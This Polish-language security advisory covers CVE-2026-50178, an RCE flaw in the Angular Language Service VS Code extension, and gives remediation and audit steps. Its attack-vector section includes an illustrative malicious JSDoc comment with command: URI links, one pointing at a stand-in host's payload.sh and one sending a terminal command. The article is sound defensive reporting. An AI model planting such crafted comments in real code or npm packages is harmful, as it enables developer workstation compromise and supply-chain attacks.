Wersja 21.2.4 rozszerzenia Angular Language Service dla Visual Studio Code łata krytyczną lukę bezpieczeństwa 1. Podatność, oznaczona jako CVE-2026-50178, pozwalała na zdalne wykonanie kodu (RCE) na stacji roboczej dewelopera. Wektor ataku jest subtelny i wykorzystuje mechanizm podpowiedzi w edytorze. Wystarczy, że programista najedzie kursorem na spreparowany fragment kodu, aby narazić swój system na kompromitację.

Zagrożenie dotyczy bezpośrednio środowisk deweloperskich, które są kluczowym celem w atakach na łańcuch dostaw oprogramowania (supply chain). Kompromitacja stacji roboczej dewelopera otwiera drogę do infekowania kodu źródłowego, kradzieży kluczy dostępowych i dalszej eskalacji wewnątrz firmowej sieci. Problem jest szczególnie istotny dla polskich software house’ów i zespołów IT, gdzie Angular i VS Code są powszechnie stosowanymi technologiami.

TL;DR

  • Produkt: Rozszerzenie Angular Language Service dla Visual Studio Code 2.
  • Podatność: CVE-2026-50178, zdalne wykonanie kodu (RCE — Remote Code Execution).
  • Wektor: Spreparowany komentarz JSDoc w pliku projektu lub zależności npm, który po najechaniu kursorem i kliknięciu linku wykonuje złośliwe polecenie 3 4.
  • Przyczyna: Klient rozszerzenia ufał renderowanej zawartości Markdown z serwera językowego, który z kolei nie oczyszczał danych wejściowych 5 6.
  • Zagrożone wersje: Wszystkie wersje przed 21.2.4 7.
  • Naprawiona wersja: 21.2.4 1.
  • Pierwszy krok: Natychmiastowa aktualizacja rozszerzenia do najnowszej wersji i weryfikacja, czy w projektach nie ma podejrzanych zależności npm.

Wektor ataku

Analiza podatności CVE-2026-50178 (Common Vulnerabilities and Exposures – identyfikator publicznie znanej luki) wskazuje na błąd w logice zaufania między komponentami rozszerzenia. Atak przebiega w kilku krokach, wykorzystując standardową funkcjonalność edytora kodu.

  1. Nadmierne zaufanie klienta. Klient rozszerzenia, działający w ramach VS Code, konfiguruje mechanizm renderowania podpowiedzi (tooltips) z flagą isTrusted: true 5. Ta opcja informuje edytor, że cała zawartość otrzymana do wyświetlenia jest bezpieczna i może zawierać aktywne elementy, takie jak klikalne linki uruchamiające polecenia systemowe (command: URIs) 8.

  2. Brak sanitacji po stronie serwera. W tle działa proces serwera językowego Angulara (Angular Language Server). Jego zadaniem jest analiza kodu i dostarczanie kontekstowych informacji do edytora. Proces ten nie oczyszczał ani nie sanitizował komentarzy JSDoc przed przekazaniem ich do wyrenderowania w podpowiedzi 6. Oznacza to, że specjalne znaki, nawiasy czy surowe linki były przesyłane bez modyfikacji.

  3. Iniekcja złośliwego ładunku. Atakujący może wykorzystać tę słabość, umieszczając złośliwie spreparowany komentarz JSDoc w pliku .ts lub .js projektu 3. Taki plik może być częścią głównego repozytorium lub, co bardziej prawdopodobne, ukryty w jednej z wielu zależności pobieranych z publicznego rejestru npm. Komentarz zawiera specjalnie przygotowany link w formacie Markdown, który wskazuje na polecenie do wykonania na maszynie ofiary.

Przykład (poglądowy) złośliwego komentarza JSDoc:

/**
 * Ta funkcja robi coś pożytecznego.
 * [Kliknij tutaj, aby zobaczyć dokumentację](command:vscode.open?%5B%22https%3A%2F%2Fzlosliwa-strona.xyz%2Fpayload.sh%22%5D) 
 * [Albo uruchom kalkulator](command:workbench.action.terminal.sendText?%7B%22text%22%3A%22gnome-calculator%5Cn%22%7D)
 */
export function usefulFunction() { ... }
  1. Interakcja użytkownika. Ostatnim krokiem jest interakcja dewelopera. Gdy programista pracuje nad kodem i najedzie kursorem na symbol (np. nazwę funkcji) opatrzony złośliwym komentarzem, VS Code wyświetli podpowiedź. Jeśli deweloper kliknie spreparowany link w tej podpowiedzi, edytor bez dodatkowych ostrzeżeń może wykonać osadzone w nim polecenie 4. Może to być pobranie i uruchomienie złośliwego skryptu, kradzież tokenów, kluczy SSH lub otwarcie odwrotnej powłoki (reverse shell).

Wskaźniki kompromitacji

Ta podatność nie jest związana z konkretną kampanią, więc nie ma tu klasycznych wskaźników kompromitacji (IoC – Indicators of Compromise) takich jak adresy IP serwerów C2 (Command and Control) czy hashe plików. Zagrożenie leży w potencjalnym wykorzystaniu luki przez dowolnego operatora.

Zespoły bezpieczeństwa i deweloperzy powinni skupić się na audycie kodu źródłowego i jego zależności pod kątem podejrzanych komentarzy JSDoc. Należy zwracać uwagę na:

  • Komentarze zawierające linki w formacie command:.
  • Nietypowe lub zaciemnione linki w dokumentacji kodu, zwłaszcza w zależnościach z node_modules.
  • Pakiety npm o niskiej reputacji, z niewielką liczbą pobrań lub od nieznanych autorów, które nagle pojawiły się w projekcie.

Co zrobić w 24-48h

Rekomendowane podejście zakłada natychmiastowe działania prewencyjne i weryfikacyjne. Poniższe kroki nie zastępują pełnej konsultacji bezpieczeństwa, ale stanowią pierwszą linię obrony.

  1. Aktualizacja rozszerzenia (krytyczne). Najważniejszym krokiem jest upewnienie się, że wszyscy deweloperzy w organizacji zaktualizowali rozszerzenie Angular Language Service do wersji 21.2.4 lub nowszej 1. W VS Code można to zrobić z poziomu zakładki „Rozszerzenia”, wyszukując @angular.language-service i klikając „Update”.

  2. Audyt środowisk deweloperskich. Należy przeprowadzić audyt stacji roboczych programistów w celu weryfikacji zainstalowanych wersji rozszerzeń. W większych organizacjach można to zautomatyzować za pomocą skryptów lub narzędzi do zarządzania flotą urządzeń. Dla polskich firm MŚP, gdzie często brakuje centralnego zarządzania, kluczowa jest komunikacja wewnętrzna i manualna weryfikacja przez liderów zespołów.

  3. Przegląd zależności projektu. Zespoły deweloperskie powinny przejrzeć pliki package.json i package-lock.json pod kątem niedawno dodanych lub podejrzanych zależności. Narzędzia takie jak npm audit mogą pomóc, ale nie wykryją tego konkretnego wektora. Konieczny jest manualny przegląd i ocena ryzyka związanego z każdym zewnętrznym pakietem.

  4. Wzmocnienie świadomości. Należy poinformować programistów o naturze zagrożenia. Powinni być wyczuleni na nietypowe podpowiedzi i pod żadnym pozorem nie klikać aktywnych linków w tooltipach, jeśli nie są absolutnie pewni ich pochodzenia. To kolejny argument za tym, że nawet w środowisku deweloperskim zasada zerowego zaufania (Zero Trust) jest fundamentalna.

Źródła

Zobacz też

Przypisy

  1. Luka została naprawiona w wersji 21.2.4. — nvd.nist.gov › CVE 2026 50178 ↩ ↩2 ↩3

  2. Rozszerzenie Angular Language Service VS Code Extension oferuje bogate środowisko edycji dla szablonów Angulara. — nvd.nist.gov › CVE 2026 50178 ↩

  3. Atakujący może wykorzystać to zachowanie, tworząc plik TypeScript lub JavaScript projektu (lub zależność pakietu npm) zawierający złośliwą podpowiedź JSDoc z osadzonym aktywnym linkiem polecenia. — nvd.nist.gov › CVE 2026 50178 ↩ ↩2

  4. Gdy deweloper najedzie kursorem na symbol, aby wyświetlić podpowiedź i kliknie złośliwy link, IDE wykonuje sekwencję poleceń bezpośrednio na maszynie hosta dewelopera. — nvd.nist.gov › CVE 2026 50178 ↩ ↩2

  5. Klient rozszerzenia Angular Language Service VS Code konfiguruje renderer Markdown dla podpowiedzi z opcją isTrusted: true. — nvd.nist.gov › CVE 2026 50178 ↩ ↩2

  6. Proces serwera Angular Language Server nie oczyszcza ani nie sanitizuje nawiasów, surowych linków i znaków kontrolnych ze stringów JSDoc przed przekazaniem zawartości Markdown podpowiedzi. — nvd.nist.gov › CVE 2026 50178 ↩ ↩2

  7. Luka występowała w wersjach wcześniejszych niż 21.2.4. — nvd.nist.gov › CVE 2026 50178 ↩

  8. Ustawienie isTrusted: true instruuje VS Code, aby ufał całej renderowanej zawartości, co umożliwia aktywne elementy, takie jak command: URIs. — nvd.nist.gov › CVE 2026 50178 ↩